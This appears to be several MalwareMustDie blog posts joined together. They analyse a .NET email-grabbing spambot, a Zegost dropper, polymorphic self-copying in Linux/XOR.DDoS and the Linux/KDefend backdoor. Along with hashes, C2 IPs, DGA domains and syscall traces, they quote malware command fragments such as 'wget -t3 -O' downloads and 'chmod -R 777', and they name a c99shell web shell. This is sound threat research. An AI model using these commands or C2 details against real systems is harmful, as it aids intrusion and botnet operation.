The unknown SFX RAR .Net PE malware (sounds lame enough?)

The sample is a PE (6222e15ed2c71429c472e5f0fa40d727) and it was reported a week ago (2015-08-27 15:10:48 UTC). A grep info in pescanner will show you:

File:    ./Release.exe
Size:    263514 bytes
Type:    PE32 executable (GUI) Intel 80386, for MS Windows
MD5:     6222e15ed2c71429c472e5f0fa40d727
SHA1:    a9316503ad6dd9e10fa8506fe69cc5aa7cc4eafe
Date:    0x54E0521F [Sun Feb 15 08:00:31 2015 UTC]
EP:      0x41d7cb .text 0/4
CRC:     Claimed: 0x0, Actual: 0x4a8a2 [SUSPICIOUS]

The CRC differences is showing packed/archives or both, I tend to check further the insides for sure with my beloved UNIX shell reversing tool, the almighty radare:

..this is showing overlay of SFX Rar file. A test (t command) in unrar shows the contents safely:

Testing     MAPIEx.dll                            OK
Testing     NetMAPI.dll                           OK
Testing     aa.exe                                OK

MD5 (aa.exe) = fa056e635791f18b21898bc0ff6a9978
aa.exe: PE32 (GUI) Intel 80386 Mono/".Net assembly", for MS Windows

The above result is a self explanatory. The point is: Always do static analysis beforehand, it is very important to recognize which binary we are dealing and how is the best way to deal with before we start firing some disassemblers to check its bits or opcodes.

Okay, since now we know how it's developed, let's decompile it in the same way it was built. You'll find these loaded resources:

OutlookContactsViewer.Form1.resources (Embedded, Public)
OutlookContactsViewer.Properties.Resources.resources (Embedded, Public)

The above resources is having the code to execute the malware, so the rest of this reversing is just depending on our skill to read that code.. I will cover the important parts only to PoC the badness of this binary and won't share the full code for the security purpose, as follows..

Peeling the malcode :-)

This is how the malcode was started... by initiation some variables and startinng main function to call to its loading-form:

And the loaded form has the main code of main functions for overall malcode operation:

As you can see it has two commands of "extract" and "spread". Between the "===" delimeter string, the data/text will be filled by email addresses grabbed from functions: GetMailsFromContacts(), GetMailsFromHeaders() and GetMailsFromMessages().

Functions called due to the "extract" command is the text formulation of the strings following by the POST command to send data to the web gates with URL defined in the initialization variable part.

Now we know the purpose of the runtime file is; NetMAPI library was used to perform email-grabbing act i.e. as per snipped below code in GetMailsFromContacts()

..and it is added with the regex to grep the email addresses in GetMailsFromHeaders() and GetMailsFromMessages() parts:

The same library also being used to spread spam via "spread" command (below), yes..it is a PoC that we also have a kind of spambot too here. Noted that the subject, body message and the attachment variables hard coded in the initiation part was stored here:

I snip some significant codes (only) that's utilizing HTTP protocol for uploading grabbed emails to the gate as per below, to understand and to figure ways to mitigate the threat further:

To be noted this malware reads the multipart encoded part of an email too:

A sample traffic captured for the uploads is here:

So we have the good idea what the malware is doing, yes? It sends spam, it grabs email address and uploaded them to the remote gate.

The gate

The gate is a hacked sites, I spotted the c99shell by the first time I see it. I spent much time studying c99shell before, the link is here-->[link]. This one looks injected to the compromised web site via PGP vulnerability that allows remote file uploading.

It is the latest standard version noticing this command list:

This is the up.php gate's code:

So this is how the up.php works in receiving the request, using GeoIP (by Maxmind) API to check the location of POSTed IP, making directory of that country code (if not exist) and writing files with the list of grabbed emails in it (if succeeded), it explains many directories with country code names. It also make logs of access and has the ban access function too, the details for that is written in the included func.php.. Please noted the "Nothing to do.." decoy.

It's not being used but below is snipped for the logging and banning codes, I "secured" it a bit:-)

This is what files were injected and created in that panel, if you see the same files in your servers please delete or secure them all + fix the PHP flaw that caused the file upload.

The email data of the victims that has been grabbed was plenty.. thanks to Mr. Lowson to clean this threat's gate to stop this badness. Below is the snip per 4 lines each data in the CO (randomly picked) directory..

Unknown threat with zero detection

I don't think we have any PE detection sig for this threat (in VT point of view): [Release.exe] [aa.exe]

A saying in my country says: "What we don't know, even small mater, may hurt us badly" ..I guess this is the case.

Additionals..

@MalwareMustDie I confirm it's spanish. Here you got a (more or less) traduction http://t.co/5wIFenpQYZ

— Mr. Highway (@fbalzary) September 3, 2015

#MalwareMustDie

Win32/Zegost.rfn [link] (according to Microsoft)

The malware is sitting in the panel waiting to be distributed by the time I spotted:

The actor who put the PE binary in the picture was attacking my "router" with the other ELF binary one, a MIPS architecture of Linux/Mr.Black, a family of Linux/AES.DDoS, a China ELF backdoor and DDoS'er variant, with the source IP of attacker and CNC lead to that panel's address.

#ELF#Linux/Mr.Black #malware: 1. Move2 S.Korea, #BLOCK: 210.92.18.118 2. ATTK graph attached http://t.co/juaN5YucV2pic.twitter.com/047s0xBrmU

— ☩MalwareMustDie (@MalwareMustDie) September 4, 2015

The PE is a Win32/Zegost variant, the dropper/backdoor type, I uploaded it in VT here --> [link], It drops, self deleted, auto-start set in registry, starting service (also set in registry..as many of the other boring stuff, and the point of interest of I am writing here is contacting mother hosts as backdoor.Below are some reversing snips I did during ID-ing the threat..

The infrastructure

The PE has the CNC hostname permutated DGA function and I managed to extract some of them:

conf.f.360.cn
'qi89.f3322.org'
qup.f.360.cn
u.qurl.f.360.cn
qurl.f.360.cn
qurl.qh-lb.com
qup.qh-lb.com
sdupm.360.cn
sdup.360.cn
sdup.qh-lb.com

Noted: The callback hostnames increased after we allow several CNC downloads. The malware DGA is generating many other fake domains.. For the botnet dissection, please focus is with the actual CNC established IP addresses only.

And each domains I checked as per snipped picture below:

I use the Kelihos fast flux milking script to milk IP addresses of the above domains:

$ cat domains.txt | bash flux.sh
Kelihos FLUX check script by @unixfreaxjp
Sun Sep  6 01:04:57 JST 2015

>>> conf.f.360.cn
qup.f.360.cn.
qup.qh-lb.com.
106.120.167.25
106.120.167.13
qup.f.360.cn.
qup.qh-lb.com.
106.120.167.15
106.120.167.10
qup.f.360.cn.
qup.qh-lb.com.
106.120.167.15
106.120.167.10

>>> qi89.f3322.org
210.92.18.118
210.92.18.118
210.92.18.118

>>> qup.f.360.cn
qup.qh-lb.com.
106.120.162.175
106.120.167.14
qup.qh-lb.com.
106.120.167.13
106.120.167.25
qup.qh-lb.com.
106.120.167.13
106.120.167.25

>>> u.qurl.f.360.cn
qurl.qh-lb.com.
106.38.187.100
106.38.187.103
qurl.qh-lb.com.
106.120.167.100
106.38.187.106
qurl.qh-lb.com.
106.120.167.102
106.38.187.113

>>> qurl.f.360.cn
qurl.qh-lb.com.
106.38.187.105
106.38.187.113
qurl.qh-lb.com.
106.38.187.105
106.38.187.113
qurl.qh-lb.com.
106.38.187.118
101.199.109.151

>>> qurl.qh-lb.com
106.38.187.103
106.38.187.106
106.38.187.100
106.38.187.103
106.38.187.103
106.38.187.100

>>> qup.qh-lb.com
106.120.162.174
106.120.167.10
106.120.162.174
106.120.167.10
106.120.162.178
106.120.162.175
[...]

The result of the IP milking is some of static legit IDC IP addresses in Beijing, China :-) as per listed below... At the first sight I thought these are CNC, but later on I found it very weird :-)

106.120.167.15|15.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.8|8.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.162.176|176.162.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.14|14.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.101||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.102||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.103||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.104||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.105||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.9|9.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.14|14.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.162.174|174.162.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.115||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.38.187.116||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
101.199.109.144||23724 | 101.199.108.0/22 | CHINANET-IDC-BJ | CN | 360.cn | Beijing Qihu Technology Company Limited
106.38.187.102||23724 | 106.38.176.0/20 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.29|29.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.162.178|178.162.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.92|92.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.90|90.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
106.120.167.86|86.167.120.106.static.bjtelecom.net.|23724 | 106.120.160.0/19 | CHINANET-IDC-BJ | CN | chinatelecom.com.cn | ChinaNet Beijing Province Network
[...]

But there's only one IP address that shows different network, this leads us into a malicious utilized host in South Korea, and this is the malware panel's IP address itself..

210.92.18.118||4766 | 210.92.0.0/18 | KIXS-AS | KR | dshw.co.kr | Sudokwonseobubonbu

{"dma_code":"0"
"ip":"210.92.18.118"
"latitude":37.57
"longitude":126.98
"country_code":"KR"
"offset":"9"
"continent_code":"AS"
"country":"Korea Republic of"
"asn":"AS4766"
"isp":"Korea Telecom"
"timezone":"Asia\/Seoul"
"area_code":"0"
"country_code":"KOR/KR"}

Shortly, that IP address 210.92.18.118 (port 8086) is the only IP communicated with the malware via hostname: qi89.f3322.org. Law enforcement may prefer to have this PCAP traffic as PoC/evidence. The callback traffic was replied by the CNC and was sent in encrypted form as per recorded in traffic below, I am sorry, I didn't have energy to crack this further..

..and get the ID :-)

So..I have collected the first three (3) DGA generated basis domains from malware sample which are:

360.cn
'f3322.org'
qh-lb.com

There is only one domain that is really being used as CNC (see the PCAP), the other domains are just being used as decoys to confuse the investigation. And the real CNC hostname is :

"f3322.org" w/Registrant email: "ppyy@astpbx.com"

Malware domain f3322.org is having a super bad reputation in being used by Mr.Black ELF attacks, for example:

@MalwareMustDie attacker was http://t.co/xRvhDugAz4 (222.186.34.220), posted details I have at http://t.co/AjZj2eay0z Hope it’s useful.

— jquinby (@jquinby) 2015, 9月 4

The actor's email ID is already known, it is in our blacklist on PRC/China actors. But I thank this crook for confirming his own ID again and adding us more evidence, and "HAVE A NICE WEEK-END! :-)"

#MalwareMustDie!

Background

A share of knowledge I have, hopefully to make internet safer - @unixfreaxjp

The threat of Linux/XOR.DDoS, a China-made ELF backdoor & ddoser malware, a rather specific threat compares to other Chinese ELF ddosers, and it's still on going. I just received a good question (from I assumed from a victim of infection or a researcher) about why the found malware binary is not the same as what was firstly executed one. Well, this writing is short and covering the answer for the asked question only. But, the information maybe important for the mitigation and detection, and also various methodology I use for the sharing to other NIX mates, so I write this post with three processes I conduct to every ELF malware investigation: in reversing, debugging and forensics ways. Please bear with the poor english since I had few time to check, or to the lack of the explanation.

Polymorphic is a behavior of malware during self-reproduction constantly changes ("morphs") the file characteristic (size, hash, etc), and it may not be the same with the previous copy or as previous pre-infection state. The goal of this changes is to makes it difficult for signature-based antivirus software programs to recognize and detect the polymorphed malware.

Polymorphic method in malware is an usual practise in windows malware. In UNIX malware maybe it is not as commonly heard as in Windows; but since the nature of NIX malware are coming from networking, either to be "extracted" from encoder/infector files, downloaded or dropped by other malware from the beginning, so..I guess we have many hashes by default. But in this post, we are actually dealing with a polymorphic behavior malware just like ones infecting Windows during the self-copy method.. so I guess it is worth to write a bit.

The reported case was a real infection, a case of known gang/crooks, I am allowed to post the the attack log as per following:

Yes, it is a recent attack, please block the IP addresses.

The above log is typical Linux/Xor.DDOShostasa.org ssh brute attack pattern. I announced the case not so long ago here (different cases, same attacker)-->[link] and the recent incident was reported too in here-->[link]. I uploaded this ELF malware sample into Virus Total w/the link is here-->[link].

Polymorphic PoC

When Linux/XOR.DDoS malware was executed, it will come to the stage that it seeks the place to self-copy it self, in my case the linux system call can show us the effort to write file like:

open("/usr/bin/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777) ; depends, in mine is -1 EACCES (Permission denied)
open("/bin/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777)     ; depends, in mine is -1 EACCES (Permission denied)

open("/XOR.DDOS.SAMPLE", O_RDONLY)      ; initial exec malware open itself
lseek(3, 0, SEEK_SET);                  ; set LSET to OFFSET to READ
open("/tmp/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777); open self-copy target w/perm 777
read(3, "\177ELF\1\1\1\0\..");          ; read the malware bin
lseek(4, 0, SEEK_SET)                  ; set LSET to OFFSET to WRITE
14878 read(3, "\177ELF\1\1\1\0\…       ; copy process read..
14878 write(4, "\177ELF\1\1\1\0\…      ; copy process write

By reverse engineering the ELF malware, after seeking for a while, the assembly procedure below is responsible for the above operation: (the bigger picture click-->>THIS )


You can see the cascade of jumps during each error that might occur until it ends up to the accessed one for the self-copy purpose, starting from /usr/bin to /bin , and in my case it is ended with /tmp/[randomname]. The filename is random and the full path with the directory aimed is to be "fired" via an original API to execute the execve(), but we will go to this topic later on.

In Linux memory forensics the blob data copied can be seen clearly with some beautify effort, a good old hexdump is still a favorite in dealing with raw hex data:

## Copy process illustration (read and write of copy process) in the end of file:
[...]
00098bd0  6d 65 00 5f 64 6c 5f 6d  61 70 5f 6f 62 6a 65 63  |me._dl_map_objec|
00098be0  74 5f 64 65 70 73 00 5f  6e 6c 5f 43 5f 4c 43 5f  |t_deps._nl_C_LC_|
00098bf0  49 44 45 4e 54 49 46 49  43 41 54 49 4f 4e 00 5f  |IDENTIFICATION._|
00098c00  64 6c 5f 6e 73 00 5f 6e  6c 5f 6c 6f 61 64 5f 6c  |dl_ns._nl_load_l|
00098c10  6f 63 61 6c 65 5f 66 72  6f 6d 5f 61 72 63 68 69  |ocale_from_archi|
00098c20  76 65 00 77 63 74 72 61  6e 73 00                 |ve.wctrans.|
00098c2b

read(3, "", 4096):   ; EO/termination w/no space
close(3);            ; end of copy (reading)
close(4);            ; end of copy (writing)

Nothing so special about operation above, but it is related to the next steps, let's go forward.. Now, we can see up to here that the malware was self copied! But why the file gets different?
The next system's call showing the effort to open the written file afterward with flag to write.. What's going on?

open("/tmp/lgjgjmkkgd", O_WRONLY); ; opening the copied file
lseek(3, 0, SEEK_END) = 625707 <==size  ; set LSET to the EOF for writing
; SEEK_END = *)    ; note the size of original malware

## Illustration of the LSET set in the end of file..

00098bd0  6d 65 00 5f 64 6c 5f 6d  61 70 5f 6f 62 6a 65 63  |me._dl_map_objec|
00098be0  74 5f 64 65 70 73 00 5f  6e 6c 5f 43 5f 4c 43 5f  |t_deps._nl_C_LC_|
00098bf0  49 44 45 4e 54 49 46 49  43 41 54 49 4f 4e 00 5f  |IDENTIFICATION._|
00098c00  64 6c 5f 6e 73 00 5f 6e  6c 5f 6c 6f 61 64 5f 6c  |dl_ns._nl_load_l|
00098c10  6f 63 61 6c 65 5f 66 72  6f 6d 5f 61 72 63 68 69  |ocale_from_archi|
00098c20  76 65 00 77 63 74 72 61  6e 73 00 *<====          |ve.wctrans.*) <==
00098c2b

gettimeofday({1442479267, 397488}, NULL) ; for randomid() seed..
write(3, "wlpvpovdvi\0", 11) ; 'size is set to 11'
    ; write string "wlpvpovdvi\0"-
    ; in the LSET position (EOF)

Following the calls of the malware process, we can see the new file was saved:

close(3)  ; end of writing process..

execve("/tmp/lgjgjmkkgd", ..); ; main running process of XOR.DDOS in new PID
                               ; with new size (& hash)

lgjgjmkkg 14881 MMD  cwd   DIR  8,6     4096        7209106 /TESTDIR
lgjgjmkkg 14881 MMD  rtd   DIR  8,1     4096              2 /
lgjgjmkkg 14881 MMD  txt   REG  8,1   "625718 <== NEW SIZE" 829 /tmp/lgjgjmkkgd
lgjgjmkkg 14881 MMD    0u  CHR  1,3      0t0           1028 /dev/null
lgjgjmkkg 14881 MMD    1u  CHR  1,3      0t0           1028 /dev/null
lgjgjmkkg 14881 MMD    2u  CHR  1,3      0t0           1028 /dev/null

Below is the illustration of malware samples original and after copy-injected.

$ md5sum XOR.DDOS.SAMPLE lgjgjmkkgd
"7642788b739c1ee1b6afeba9830959d3"  XOR.DDOS.SAMPLE
"df50d096fb52c66b17aacf69f074c1c3"  lgjgjmkkgd

$ ls -l XOR.DDOS.SAMPLE lgjgjmkkgd| awk '{print $5, $6, $7, $9}'
"625718" Sep 17 lgjgjmkkgd
"625707" Sep 17 XOR.DDOS.SAMPLE

Okay, we're done with the debugging and forensics. Let's see how the reverse engineering goes for this ELF malware binary for the above processes.

This is the part where the malware self-copy process was executed in my sample case. Noted: there are so many cases to trail with the similar codes in copying, write files and randomizing them, I counted about more than 4 scenarios prepared for this operation and the author really calculate every possibilities in his code to make sure the malware will run.

the jump to 0x804dfc2 will take you to the next process.

The assembly snip below is explaining the writing process to the done-copied file by the malware, it is not using the randomizing 11 characters but the malware was picking a hard coded xor crypt strings that is saved in 0x080cf120 (symbol: str.__Ff3VE._7).

The snprintf() is an API function that will lead (in the VERY end) to SYS_write at sys/syscall, since we deal with the statically compiled ELF many libc trails will appear in reversing the function, we may see more of these, sorry to say, unnecessary codes.

The timeoftheday() result which was shown during debugging is caused by the function which was called, named function randomid().

↑Obviously, is a self-explanatory that the timeoftheday() is fetching the system time as the seed needed in randomid() function.

There is an additional information too actually: I think maybe it is good for our community to know too: Linux/XOR.DDoS ELF malware is using a uncommon seen function to execute the shell command, it was called: LinuxExec_Argv() and LinuxExec_Argv2(), which was called to act as an API to execute non direct syscall basis commands by the malware (well, this is a static compiled binary), these functions are typical in characteristic, it is a very simple in use, easy to spot (smile) and these are responsible to call execve(), a linux system call commands (with the environment parameter parsed) to be executed during an infection, and also to call execvp() for the file execution purpose (with parsing the file path), i.e. shown in the code below:
You may want to see the reference of exec method with UNIX C library (libc) on execve, execvp at man(2) pages, and yes, UNIX gods are also providing us with good reference too.

Conclusion & reference

Yes, Linux/XOR.DDoS malware after copied and executed (read: successfully infecting us) will have a different size (11 bytes bigger..depends.. I only check one binary for this), and have a different hash. So this means that the malware spotted in the panel may not be detected by the scanner used inside of the Linux box if only detecting by the hash.

Many of us still think, Yeah..ELF malware..won't harm us or end users much.. But remember, IoT are mostly linux basis, take a look of the most of router's OS now. Also, the infection method and volume of ELF malware is getting better and bigger by days. As proof: We have about 6 of new ELF malware for 2 and half years span only! As MMD (read: MalwareMustDie, NPO), we suggest to be prepared to update the ELF malware detection quality as earliest as possible, once an ELF malicious binary hit a server the impact can be way much bigger than a PE hit a PC.

Below are links to the previous Linux/XOR.DDoS analysis:.
http://blog.malwaremustdie.org/2015/07/mmd-0037-2015-bad-shellshock.html
http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html

The "new" CNC of the threat:

Will #USA be nice to clean: 192.126.126.64 & 107.160.40.9 < China crook's #malware#CNC? http://t.co/fTD0V57yScpic.twitter.com/ZmabDO9aoP

— ☩MalwareMustDie (@MalwareMustDie) September 15, 2015

Oh btw,the CNC is very alive even now...and sending the download/payload too. here's the pcap snips for a hard proof:

Kudos radare.org folks for convincing me to upgrade to git version from /usr/ports one:

Stay safe folks! Hope this short writing helps!

#MalwareMustDie

As per internally decided, we are now having new scheme of sharing malcodes, to reduce the unwanted access to the archive, the file was uploaded to the virus total with the hash of:

SHA256 (ELF-malware-in-C-leaks.rar) 
43a383bb8b2fa799a0a06a585c52e91f6ea1c877bba12c21e691e32a99f9adf4

We will check each request and not sharing the password to unknown individual/independent contacts without clear confirmed information/identification of who they are. These are malware source codes and not malware samples nor toys to play with, it is a very dangerous material to be passed to wrong hands. Please bear with the slowness in response due to the check process and due the fact that we are a non-profit organization, with limited resources and only active in our spare time.

The archive will stay online for two months, after that period we won't share it anymore and will delete our files. Don't request the code after this time has passed. We are not responsible to any of damage that will occur due to the misuse of the shared material, please read our Legal Disclaimer and Sharing Guide for more information-->[here]

What can be achieved by these source code are:

- better mitigation of the leaked ELF botnet specific type/variants
- several hard coded leads for prevention of DDOS attack methodology used to research
- several exploitation research that can be produced and implemented by each ELF botnet
- you may publish research of these code(s), on a condition: mention us, #MalwareMustDie.
  (we did the hard part in achieving, collecting, selecting, testing and sharing -
   these codes, for free)

Below is the snapshot of the original archive, that you will see after you open it correctly.
The total codes shared in this part is 21 (twenty one) source code, all in C except one bonus in html.

I think I will see how this first part of the new scheme of sharing goes with studying the negative aspects for it, if things go well, for the next part (part 2 of sharing) will be focusing on the share on source codes for the ELF threats codes that is collected from some "specific" regions :-)

Additional ELF malware source code..

As per mentioned below:

SHA256 (mmd-extra.7z)
9464b4443d4ce19977d774bddf4b1987c4e090f1ac4ccb80d534e0e593a2b41c

PS: This (below) action will be executed as response of a further attacks from the shared source codes malware bad actors :-)

Go ahead #DDOS us more & we put EACH #ELF BOTNET #EXPLOIT to be uploaded in #METASPLOIT soon :) #WeMeantWhatWeSaidhttps://t.co/qLeQIXTDxf

— ☩MalwareMustDie (@MalwareMustDie) November 28, 2015

Cheers from #MalwareMustDie

Background

It's been a while not writing new analysis in our blog & this timing is just perfect.
On December 1st, 2015 this sample was detected by our ELF team member @benkow_

..and our ELF Team started to investigate the threat and come into conclusion that another new ELF malware was spotted, and post this is the report. It was calling itself "KDefend" or "KDLinux", so we call it as "Linux/KDefend" then. We separate some tasks in members in this report, and will cover to highlights of this new malware hopefully will help others in tracking and mitigating the threat for the future.　I will do the ELF binary analysis to figure what kind of threat it is, with some pointer hint in my analysis that hopefully can be useful for fellow UNIX sysadmins and malware researchers.

The KDefend; How does it look like?

It is a bit unusual to our post, but I decided to write the behaviour part first this time for you to see the fact that we would like to stress in this new malware finding.
The binary is in here -->[virustotal] with the below status:

[0x08049880]> !file task
task: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, 
      interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
[0x08049880]> !md5 task
MD5 (task) = f93d664aac485af82ec863c251626441
[0x08049880]> !size task
   text    data     bss     dec     hex filename
  44871    1396  772660  818927   c7eef task

How does the infection (attacker, panel and CNC) go?

Well okay, first, let's see if this so called "stress tool" was being used as per what its disclaimer said... Which is unfortunately not. It was found in action during its effort to infect a linux server with the SSH brute access as per logged below:

The attacker IP & download panel IP is all 60.190.216.225 and it looks like the CNC is set to same IP too:

Connecting to 60.190.216.225 8090..
unknown [60.190.216.225] 8090 open
Connection to 60.190.216.225 8090 port [tcp/*] succeeded!
MMD-LOVE-ELF->60.190.216.225:8090 (ESTABLISHED)

[0x08049880]> !ipchk geo 60.190.216.225
-----------------------------------------------------------
ipchk-shell 1.5 FreeBSD version - by @unixfreaxjp
-----------------------------------------------------------
Source : geo
IP     : 60.190.216.225
-----------------------------------------------------------
geoip:
{
"ip": "60.190.216.225",
"hostname": "No Hostname",
"city": "Shaoxing",
"region": "Zhejiang Sheng",
"country": "CN",
"loc": "30.0110,120.5715",
"org": "AS4134 No.31,Jin-rong Street"
}

     it's prohibited for illegal use
     the author is not responsible  

How is it built?

Below is the details on how this malware was built, mind the text format. Please refer to the status of the binary above beforehand. There's nothing so special in it, but it's always good to know these level of information:

// compiler:
        GCC 3.0

// compilation environment:
        GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-44)

// linked libraries used
        linux-gate.so.1 =>  (0xb7749000)
        libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 (0xb7724000)
        libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7638000)
        libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xb7611000)
        libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb75f4000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7490000)
        /lib/ld-linux.so.2 (0xb774a000)

// first copy of libs listed in ELF 1st image addresses can be found below:
000000000134  /lib/ld-linux.so.2
0000000007C5  libpthread.so.0
000000000881  libstdc++.so.6
000000000C5F  libm.so.6
000000000C69  libgcc_s.so.1
000000000C86  libc.so.6

// these are the source codes resource:

---------------------
1. 0x011851   main(.cpp)
---------------------

---------------------
2. 0x00E641   crtstuff.c 
(BE NOTED: This is a GCC constructors/destructors for C++ obj/Open Source)
---------------------
*)ref: http://www.opensource.apple.com/source/gcc/gcc-5488/gcc/crtstuff.c
0x00E64C   __CTOR_LIST__
0x00E65A   __DTOR_LIST__
0x00E668   __JCR_LIST__
0x00E675   dtor_idx.5793
0x00E683   completed.5791
0x00E692   __do_global_dtors_aux
0x00E6A8   frame_dummy
0x00E6B4   __CTOR_END__
0x00E6C1   __FRAME_END__
0x00E6CF   __JCR_END__
0x00E6DB   __do_global_ctors_aux

-------------------------
3. 0x00E6F1   synserv.cpp
-------------------------
0x00E6FD   _GLOBAL__I_dout
0x00E70D   __tcf_6
0x00E715   _Z41__static_initialization_and_destruction_0ii
0x00E745   _ZSt8__ioinit
0x00E753   __tcf_4
0x00E75B   __tcf_5
0x00E763   __tcf_3
0x00E76B   _ZZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E78B   __tcf_2
0x00E793   _ZZ12GetTxPpsByIfRKSsiE9s_packets
0x00E7B5   __tcf_1
0x00E7BD   _ZZ6GetPPSPciE7s_ticks
0x00E7D4   __tcf_0
0x00E7DC   _ZZ6GetPPSPciE9s_packets
0x00E7F5   _ZZ6GetCpuvE3s_u
0x00E806   _ZZ6GetCpuvE3s_i
0x00E817   _ZZ6GetCpuvE3s_s
0x00E828   _ZZ6GetCpuvE3s_n
0x00E839   _ZGVZ12GetTxPpsByIfRKSsiE9s_packets
0x00E85D   _ZGVZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E87F   _ZGVZ6GetPPSPciE9s_packets
0x00E89A   _ZGVZ6GetPPSPciE7s_ticks
0x00E8B3   _ZGVZ12SendCPUUsagevE9lastConID
0x00E8D3   _ZZ12SendCPUUsagevE9lastConID
0x00E8F1   _ZZ12SendCPUUsagevE14s_lastCpuUsage

---------------------
4. 0x00E915   syn.cpp
---------------------
0x00E91D   _GLOBAL__I_g_cycleInfo
0x00E934   g_sockArray
0x00E940   g_cycleSynDip
0x00E94E   g_pktsSize
0x00E959   g_pktsBufferQueue
0x00E96B   g_pktsBufferQueueInit
0x00E981   g_lockSockCreation
0x00E994   g_lockSockIdx
0x00E9A2   g_sockIdx
0x00E9AC   __preinit_array_start
0x00E9C2   __fini_array_end
0x00E9D3   _GLOBAL_OFFSET_TABLE_
0x00E9E9   __preinit_array_end
0x00E9FD   __fini_array_start
0x00EA10   __init_array_end
0x00EA21   __init_array_start
0x00EA34   _DYNAMIC
0x00EA3D   data_start

The short explanation of the libraries used above are:
linux-gate.so.1 is known as a virtual DSO, a shared object exposed by the kernel at a fixed address in every process' memory. ld-linux.so.2 is a "locator" to load the dynamic libraries it needs for execution, it searches for and loads the unresolved libraries, and then it passes control to the application starting point. libm.so.6 contains functions to mathematical process libs. libpthread.so.0 (POSIX threads) is used for threaded programming, in this code it was used for send, connect, recvfrom, sendto and its threat connection mutex. libstdc++.so.6, libgcc_s.so.1, and libc.so.6 is for cpp and GCC/libc programming base functions. The leftover ones are mostly the source code related trails.

What does it do? How does it run? A summary..

It is an explanation on an idea on how it firstly runs. After the loading & print "that logo" data, it starts the daemonized UDP listener & threading its process to listen into UDP/52066. So this is the backdoor function number one. Upon failed binding into UDP/52066 it will retry and upon succeed it will use another backdoor connection to the hard coded CNC IP/port via DDosSock_Init/0x0804cb8c (see the ip/port written in above section), then start to harvest the data of client to be in communication with their mothership (via ConnectClient/0x0804cb9a).

Noted the UdpLitenThread typo, it is really a "Deja Vu"typo for a specific previous malware case and coder's MO, I will go to that soon..

From above step, it utilized an "almost generic"CreateConnectSocket()/0x0804a3ac for the remote connection, it uses original GetSysinfo() (0x0804A0DE) for information harvest purpose that is responsible for the initial data sent in the pcap captured at above section.

You'll also see further backdoorfunctions executed like NetPPS and CPUUsage will be used to send its self-explanatory data to the mothership. The important part is, in the SendNetPPS() function you'll see the usage of "ifconfig" shell command used for grabbing the transmitted packet data (see in subs GetTxPacketsMap), was executed and piped with "grep" for its desired data:

Well, as you saw in above section, I blocked the ifconfig in the path searched by this malware:

and did you see how the data sent to the CNC? While it can't grep, it seems it doesn't implement the error trapping and the variable names stays there as per it is :) That's why I personally think it's an amateur was hired to make this code, maybe we just have to seek for a youth malcode programmer again for it.

It has another backdoor too like: the updater function, it was calling DealwithUpdate()/0x0804B5EE for getting the updates with kicking another shell command "wget -t3 -O", refer to function download()/0x804b67b:

Upon post-downloading, the executable permission is set, using "chmod -R 777" for further process:

*) Noted:
1. Most of operation invoking shell or pipes are driven by using the stdio.h's popen() and pclose().
2. It notices itself as "KDLinux" that can be seen in the download process.

